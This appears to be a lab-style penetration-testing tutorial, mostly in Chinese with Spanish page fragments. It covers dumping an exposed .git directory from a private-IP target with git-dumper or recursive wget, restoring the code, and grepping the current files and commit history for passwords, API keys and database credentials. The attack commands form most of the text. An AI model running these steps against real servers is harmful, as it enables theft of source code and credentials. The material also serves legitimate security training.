Ir al contenido

Atac .git

目标:我们将下载目标的完整源代码和更改历史。目标地址:http://172.18.33.244/.git/工具:git-dumper...

0阅读

目标:我们将下载目标的完整源代码和更改历史。 目标地址:http://172.18.33.244/.git/工具:git-dumper(Python)

我们需要一个不仅能下载文件,还能理解 Git 结构以重建损坏或不完整仓库的工具。

  1. 我们将安装 git-dumper: 在 Kali 终端中:

    pip3 install git-dumper

    (如果失败,请确保已安装 python3-pip:sudo apt install python3-pip)。

    Ventana de terminal

我们将下载 .git 文件夹的全部内容,并重建工作目录。

  1. 我们将运行提取工具:

    # Sintaxis: git-dumper [URL] [CARPETA_DESTINO]
    git-dumper http://172.18.33.244/.git/ ./git_loot
  2. 验证: 如果我们看到下载对象、索引和引用的进度条,说明方向正确。

    Ventana de terminal
    cd git_loot
    ls -la
    # Deberías ver una carpeta .git y posiblemente archivos sueltos.

有时 git-dumper 会下载数据库(.git),但不会下载可见文件。我们需要强制 Git 将它们“实体化”。

  1. 恢复代码: 在 git_loot 文件夹内:

    git checkout .

    这将从下载的数据库中提取所有文件(index.php、config.php 等)。

这就是我们寻找宝藏的地方。我们不仅会查看当前文件,还会查看 过去。

  1. 在当前代码中搜索凭证:

    Ventana de terminal
    grep -rE "password|user|host|key|secret|db" .
  2. 历史分析(时间机器): 开发者常常提交密码,然后在下一次提交中删除。Git 会记住一切。

    • 我们将查看更改日志:

      git log --oneline
    • 我们将查看更改内容(差异):

      git log -p

      我们将查找包含密码的红色行(删除的行)。

  3. 自动化工具(可选但推荐): 如果我们有 gitleaks 或 trufflehog:

    # Busca secretos en todo el historial
    gitleaks detect --source . -v
  • 包含 MySQL 凭据的 config.php 或 db.php 文件。
  • 带有待办任务的注释:// TODO: remove root password。
  • 硬编码的API密钥。

手动替代方案(如果Git-Dumper失败)

Sección titulada «ALTERNATIVA MANUAL (SI GIT-DUMPER FALLA)»

如果我们无法安装工具或被阻止,将递归使用 wget:

Ventana de terminal
wget -r -np -R "index.html*" [http://172.18.33.244/.git/](http://172.18.33.244/.git/)

注意:这种方法更“脏”,可能需要使用 git fsck 手动修复仓库。